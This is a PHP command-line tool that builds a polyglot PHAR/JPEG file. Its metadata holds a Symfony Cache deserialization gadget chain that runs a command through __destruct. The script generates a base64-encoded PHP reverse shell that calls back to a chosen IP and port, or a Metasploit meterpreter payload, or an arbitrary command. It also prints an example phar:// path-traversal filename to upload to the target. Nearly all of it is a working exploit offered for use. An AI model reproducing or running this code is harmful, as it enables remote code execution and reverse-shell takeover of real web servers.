<?php
// Symfony Gadget
namespace Symfony\Component\Cache\Traits
{
use \Psr\Log\LoggerAwareTrait;
trait AbstractTrait
{
use LoggerAwareTrait;
private $namespace;
private $deferred;
}
}
namespace Psr\Log
{
trait LoggerAwareTrait
{
}
}
namespace Symfony\Component\Cache\Adapter
{
use \Symfony\Component\Cache\Traits\AbstractTrait;
abstract class AbstractAdapter
{
use AbstractTrait;
private $mergeByLifetime = 'proc_open';
function __construct($command)
{
$this->deferred = $command;
$this->namespace = [];
}
}
class ApcuAdapter extends AbstractAdapter
{
}
}
namespace Polyglot\Phar
{
// Generate alphanumeric string
function alpha_rand($len=6) {
$permitted_chars = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
return substr(str_shuffle($permitted_chars), 0, $len);
}
function help() {
$help = "This PHP CLI script create a polyglot PHAR (PHP Archive) that is a valid PHAR file and JPEG image at the same time.\n";
$help .= "The PHAR file contain a Symfony gadget chain in his meta data and exploit __destruct() method executing the passed command.\n";
$help .= "Usage:\n";
$help .= "-h\tThis help\n";
$help .= "-t type\tThe payload. Possible values are:\n\t'msf' for msf php reverse shell (need metasploit)\n\t'nc' for a sh reverse shell\n\t'<your command>' for passing command like 'touch /tmp/findme'\n";
$help .= "-l IP\tThe local IP address\n";
$help .= "-p port\tThe local port\n";
$help .= "-o file\tThe output file\n";
$help .= "-i file\tThe input file. If no file is passed, create a Polyglot PHAR with a default 1x1px image\n";
print "$help\n";
exit;
}
function print_error($msg) {
print "[!] ".$msg."\n\n";
help();
}
function print_info($msg){
print "[-] ".$msg."\n";
}
function read_input_file($filename = '') {
print("filename: ".$filename);
if($filename == '') {
$jpeg =
"\xFF\xD8\xFF\xE0\x00\x10\x4A\x46\x49\x46\x00\x01\x01\x01\x01\x2C\x01\x2C\x00\x00\xFF\xFE\x00\x18\x43".
"\x72\x65\x61\x74\x65\x64\x20\x62\x79\x20\x46\x61\x62\x69\x6F\x20\x43\x6F\x67\x6E\x6F\xFF\xDB\x00\x43".
"\x00\x03\x02\x02\x03\x02\x02\x03\x03\x03\x03\x04\x03\x03\x04\x05\x08\x05\x05\x04\x04\x05\x0A\x07\x07".
"\x06\x08\x0C\x0A\x0C\x0C\x0B\x0A\x0B\x0B\x0D\x0E\x12\x10\x0D\x0E\x11\x0E\x0B\x0B\x10\x16\x10\x11\x13".
"\x14\x15\x15\x15\x0C\x0F\x17\x18\x16\x14\x18\x12\x14\x15\x14\xFF\xDB\x00\x43\x01\x03\x04\x04\x05\x04".
"\x05\x09\x05\x05\x09\x14\x0D\x0B\x0D\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14".
"\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14".
"\x14\x14\x14\x14\x14\x14\x14\x14\x14\xFF\xC2\x00\x11\x08\x00\x01\x00\x01\x03\x01\x11\x00\x02\x11\x01".
"\x03\x11\x01\xFF\xC4\x00\x14\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01".
"\xFF\xC4\x00\x14\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x07\xFF\xDA\x00".
"\x0C\x03\x01\x00\x02\x10\x03\x10\x00\x00\x01\x54\x81\x3F\xFF\xC4\x00\x14\x10\x01\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xDA\x00\x08\x01\x01\x00\x01\x05\x02\x7F\xFF\xC4\x00".
"\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xDA\x00\x08\x01\x03".
"\x01\x01\x3F\x01\x7F\xFF\xC4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\xFF\xDA\x00\x08\x01\x02\x01\x01\x3F\x01\x7F\xFF\xC4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xDA\x00\x08\x01\x01\x00\x06\x3F\x02\x7F\xFF\xC4\x00\x14".
"\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xDA\x00\x08\x01\x01\x00".
"\x01\x3F\x21\x7F\xFF\xDA\x00\x0C\x03\x01\x00\x02\x00\x03\x00\x00\x00\x10\xFF\x00\xFF\xC4\x00\x14\x11".
"\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xDA\x00\x08\x01\x03\x01\x01".
"\x3F\x10\x7F\xFF\xC4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\xFF\xDA\x00\x08\x01\x02\x01\x01\x3F\x10\x7F\xFF\xC4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xDA\x00\x08\x01\x01\x00\x01\x3F\x10\x7F\xFF\xD9";
return $jpeg;
}
// Open input file
$handle = fopen($filename, "rb");
$contents = fread($handle, filesize($filename));
fclose($handle);
return $contents;
}
// define option
$shortopt = "";
$shortopt .= "h"; //the help
$shortopt .= "t:"; // The type of paylod
$shortopt .= "l:"; // the local IP
$shortopt .= "p:"; // the local port
$shortopt .= "o:"; // the output file
$shortopt .= "i:"; // the input file
$opt = getopt($shortopt);
if(empty($opt)) help();
if(isset($opt['h'])) help();
if(!isset($opt['p']) || !preg_match('/\d{1,5}/', $opt['p'])) print_error('Port is incorrect!');
if(!isset($opt['l']) || !preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\z/', $opt['l'])) print_error('Local IP is incorrect!');
if(!isset($opt['o'])) print_error('You must set an output file!');
isset($opt['i']) ? $filename = $opt['i'] : $filename = '';
// Set the payload
if($opt['t'] == 'nc') {
// PHP code and command is OS independent
// Base64 encoding avoid to escape serialization bad char
$php_payload = base64_encode('$sock=fsockopen("'.$opt['l'].'",'.$opt['p'].');exec("/bin/sh -i <&3 >&3 2>&3");');
$payload = "php -r 'eval(base64_decode(\"".$php_payload."\"));'";
print_info("run 'nc -l -p ".$opt['p']."'");
} elseif($opt['t'] == 'msf') {
$php_payload = base64_encode(exec('msfvenom -p php/meterpreter/reverse_tcp LHOST='.$opt['l'].' LPORT='.$opt['p'].' -a php --platform php -f raw'));
$payload = "php -r 'eval(base64_decode(\"".$php_payload."\"));'";
print_info("run 'msfconsole -x \"use exploit/multi/handler; set payload php/meterpreter/reverse_tcp; set LHOST ".$opt['l']."; exploit\"'");
} else {
// for command like "touch /tmp/findme.txt"
$payload = $opt['t'];
print_info("Paylod created: ".$opt['t']);
}
// Create a new phar file
$phar = new \Phar("tmp.phar");
$phar->startBuffering();
// The content file of the phar archive
// Randomize the file name of the file in the phar archive
$cfile = alpha_rand(mt_rand(4,8)).'.txt';
// Randomize the content of the random file in the phar archive
$phar->addFromString($cfile, alpha_rand(mt_rand(4,10)));
// Add the content of the input file at the start of the stub
$phar->setStub(read_input_file($filename)." __HALT_COMPILER(); ?>");
// Generate the PHP Symfony serialized object with the payload
$serialize = new \Symfony\Component\Cache\Adapter\ApcuAdapter($payload);
// Add the object to the phar meta data
$phar->setMetadata($serialize);
$phar->stopBuffering();
// Rename the phar with the user output filename
rename("tmp.phar", $opt['o']);
print "[+] Creation complete successfully!\n";
print "[-] Payload to send: ".$opt['o']."/".$cfile."\n";
print "[-] e.g.: filename=phar://../../../../../../../../../../../../var/www/html/web/var/assets/".$opt['o']."/".$cfile."\n";
}
?>